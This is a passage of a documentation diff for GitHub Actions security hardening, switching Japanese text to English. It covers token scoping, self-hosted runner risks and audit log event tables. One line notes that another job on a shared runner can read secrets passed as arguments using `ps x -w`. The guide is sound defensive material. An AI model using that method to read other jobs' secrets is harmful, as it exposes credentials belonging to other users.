%}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). -## リポジトリ間のアクセスを検討する +## Considering cross-repository access -{% data variables.product.prodname_actions %} は、意図的に一度に単一のリポジトリに対してスコープされます。 The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. ユーザはリポジトリごとに特定の権限を持っているため、1 つのリポジトリの `GITHUB_TOKEN` に別のリポジトリへのアクセスを許可すると、慎重に実装しない場合 {% data variables.product.prodname_dotcom %} 権限モデルに影響します。 同様に、{% data variables.product.prodname_dotcom %} 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、{% data variables.product.prodname_dotcom %} アクセス許可モデルにも影響を与える可能性があるためです。 +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. -[{% data variables.product.prodname_dotcom %} ロードマップ](https://github.com/github/roadmap/issues/74)では、{% data variables.product.product_name %} 内のリポジトリ間アクセスを可能にするフローをサポートする計画がありますが、この機能はまだサポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に {% data variables.product.prodname_dotcom %} 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。 +We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. -次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。 +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: -1. **`GITHUB_TOKEN`** - - このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープされており、リポジトリの書き込みアクセスを持つユーザと同じレベルのアクセス権を{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}持つ{% else %}ことができます{% endif %}。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)」を参照してください。 - - 可能な場合は、常に `GITHUB_TOKEN` を使用する必要があります。 -2. **リポジトリのデプロイキー** - - デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しい情報については、「[デプロイキーを管理する](/developers/overview/managing-deploy-keys#deploy-keys)」を参照してください。 - - デプロイキーは Git を使用してリポジトリに複製およびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。 -3. **{% data variables.product.prodname_github_app %} トークン** - - {% data variables.product.prodname_github_apps %} は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で {% data variables.product.prodname_github_app %} を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。 -4. **個人アクセストークン** - - 自分のアカウントから個人アクセストークンを使用しないでください。 これらのトークンは、アクセスできる Organization 内のすべてのリポジトリ、およびユーザアカウントのすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 さらに、後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。 - - 個人アクセストークンを使用する場合は、ワークフローに必要な特定のリポジトリへのアクセスのみが許可される新しいアカウント用に生成されたものを使用してください。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。 -5. **ユーザアカウントの SSH キー** - - ワークフローでは、ユーザアカウントの SSH キーを使用しないでください。 これらは、個人アクセストークンと同様に、すべての個人リポジトリと、Organization のメンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込み権限を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。 +1. **The `GITHUB_TOKEN`** + - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." + - The `GITHUB_TOKEN` should be used whenever possible. +2. **Repository deploy key** + - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." + - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +3. **{% data variables.product.prodname_github_app %} tokens** + - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +4. **Personal access tokens** + - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. + - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +5. **SSH keys on a user account** + - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. -## セルフホストランナーを強化する +## Hardening for self-hosted runners -**{% data variables.product.prodname_dotcom %} でホストされた**ランナーは、一過性でクリーンな隔離された仮想マシン内でコードを実行します。つまり、この環境を永続的に危険にさらしたり、ブートストラッププロセス中にこの環境に置かれた以上の情報にアクセスしたりする方法はありません。 +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. -{% data variables.product.product_name %} の**セルフホスト**ランナーは、一過性でクリーンな仮想マシンでの実行に関する保証がなく、ワークフロー内の信頼されていないコードによって永続的に侵害される可能性があります。 +**Self-hosted** runners on {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. -そのため、{% data variables.product.product_name %} の[パブリックリポジトリにセルフホストランナーを使用することはほとんどありません](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)。これは、任意のユーザがリポジトリに対してプルリクエストを開き、環境を危険にさらす可能性があるためです。 Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。 +As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. -セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、{% data variables.product.product_name %}は同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 詳しい情報については、「[グループを使用したセルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)」を参照してください。 +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." -次のように、セルフホストランナーマシンの環境も考慮する必要があります。 -- セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。 -- マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。 +You should also consider the environment of the self-hosted runner machines: +- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. -中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. ### Planning your management strategy for self-hosted runners A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: **Centralised management:** - - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. + - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. **De-centralised management:** - - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. + - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. {% ifversion fpt or ghec or ghae-issue-4856 %} @@ -288,78 +288,80 @@ If you are using {% data variables.product.prodname_actions %} to deploy to a cl {% endif %} -## {% data variables.product.prodname_actions %}イベントの監査 +## Auditing {% data variables.product.prodname_actions %} events -Organizationの管理タスクをモニタするために、監査ログを使用できます。 監査ログは、アクションの種類、実行された時刻、実行したユーザアカウントを記録します。 +You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action. -たとえば、監査ログを使用して、Organization のシークレットへの変更を追跡する `org.update_actions_secret` イベントを追跡できます。 ![監査ログのエントリ](/assets/images/help/repository/audit-log-entries.png) +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: + ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) -以下の表は、監査ログにある{% data variables.product.prodname_actions %}のイベントを示します。 監査ログの使用に関する詳しい情報については、「[Organization の監査ログのレビュー](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)」を参照してください。 +The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see +"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)." {% ifversion fpt or ghec %} -### 環境のイベント +### Events for environments -| アクション | 説明 | -| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------- | -| `environment.create_actions_secret` | シークレットが環境で作成されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。 | -| `environment.delete` | 環境が削除されるとトリガーされます。 詳しい情報については、「[環境を削除する](/actions/reference/environments#deleting-an-environment)」を参照してください。 | -| `environment.remove_actions_secret` | シークレットが環境で削除されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。 | -| `environment.update_actions_secret` | 環境内のシークレットが更新されたときにトリガーされます。 詳しい情報については、「[環境のシークレット](/actions/reference/environments#environment-secrets)」を参照してください。 | +| Action | Description +|------------------|------------------- +| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." {% endif %} {% ifversion fpt or ghes or ghec %} -### 設定変更のイベント -| アクション | 説明 | -| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.actions_enabled` | リポジトリに対して {% data variables.product.prodname_actions %} が有効化されたときにトリガーされます。 UI を使用して表示できます。 このイベントは、REST API を使用して Audit log にアクセスした場合には表示されません。 詳しい情報については、「[REST API を使用する](#using-the-rest-api)」を参照してください。 | +### Events for configuration changes +| Action | Description +|------------------|------------------- +| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." {% endif %} -### シークレット管理のイベント -| アクション | 説明 | -| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `org.create_actions_secret` | Organization に対して {% data variables.product.prodname_actions %} シークレットが作成されたときにトリガーされます。 詳しい情報については、「[Organization の暗号化されたシークレットを作成する](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)」を参照してください。 | -| `org.remove_actions_secret` | {% data variables.product.prodname_actions %} シークレットが削除されたときにトリガーされます。 | -| `org.update_actions_secret` | {% data variables.product.prodname_actions %} シークレットが更新されたときにトリガーされます。 | -| `repo.create_actions_secret` | リポジトリに対して {% data variables.product.prodname_actions %} シークレットが作成されたときにトリガーされます。 詳しい情報については、「[リポジトリに対して暗号化されたシークレットを作成する](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)」を参照してください。 | -| `repo.remove_actions_secret` | {% data variables.product.prodname_actions %} シークレットが削除されたときにトリガーされます。 | -| `repo.update_actions_secret` | {% data variables.product.prodname_actions %} シークレットが更新されたときにトリガーされます。 | +### Events for secret management +| Action | Description +|------------------|------------------- +| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. -### セルフホストランナーのイベント -| アクション | 説明 | -| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.register_self_hosted_runner` | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については「[Enterpriseへのセルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)」を参照してください。 | -| `enterprise.remove_self_hosted_runner` | セルフホストランナーが削除されたときにトリガーされます。 | -| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. 詳しい情報については、「[Organizationのグループにセルフホストランナーを設定する](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)」を参照してください。{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} -| `enterprise.self_hosted_runner_updated` | ランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする場合、このイベントは含まれません。 詳しい情報については、「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」および「[Organization の Audit log をレビューする](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)」を参照してください。 | -| `org.register_self_hosted_runner` | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「[Organization へのセルフホストランナーの追加](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)」を参照してください。 | -| `org.remove_self_hosted_runner` | セルフホストランナーが削除されたときにトリガーされます。 詳しい情報については、「[Organization からランナーを削除する](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)」を参照してください。 | -| `org.runner_group_runners_updated` | ランナーグループのメンバーリストが更新されたときにトリガーされます。 詳しい情報については「[Organizationのグループ内にセルフホストランナーをセットする](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)」を参照してください。 | -| `org.runner_group_updated` | セルフホストランナーグループの設定が変更されたときにトリガーされます。 For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} -| `org.self_hosted_runner_updated` | ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」を参照してください。 | -| `repo.register_self_hosted_runner` | 新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「[リポジトリにセルフホストランナーを追加する](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)」を参照してください。 | -| `repo.remove_self_hosted_runner` | セルフホストランナーが削除されたときにトリガーされます。 For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} -| `repo.self_hosted_runner_updated` | ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)」を参照してください。 | +### Events for self-hosted runners +| Action | Description +|------------------|------------------- +| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." +| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." +| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). +| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." -### セルフホストランナーグループのイベント -| アクション | 説明 | -| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `enterprise.runner_group_created` | セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「[Enterprise のセルフホストランナーグループを作成する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)」を参照してください。 | -| `enterprise.runner_group_removed` | セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループの削除](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)」を参照してください。 | -| `enterprise.runner_group_runner_removed` | セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 | -| `enterprise.runner_group_runners_added` | セルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「[セルフホストランナーをグループに移動する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)」を参照してください。 | -| `enterprise.runner_group_updated` | セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループのアクセスポリシーの変更](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)」を参照してください。 | -| `org.runner_group_created` | セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「[Organization のセルフホストランナーグループを作成する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)」を参照してください。 | -| `org.runner_group_removed` | セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループの削除](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)」を参照してください。 | -| `org.runner_group_updated` | セルフホストランナーグループの設定が変更されたときにトリガーされます。 詳しい情報については「[セルフホストランナーグループのアクセスポリシーの変更](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)」を参照してください。 | -| `org.runner_group_runners_added` | セルフホストランナーがグループに追加されたときにトリガーされます。 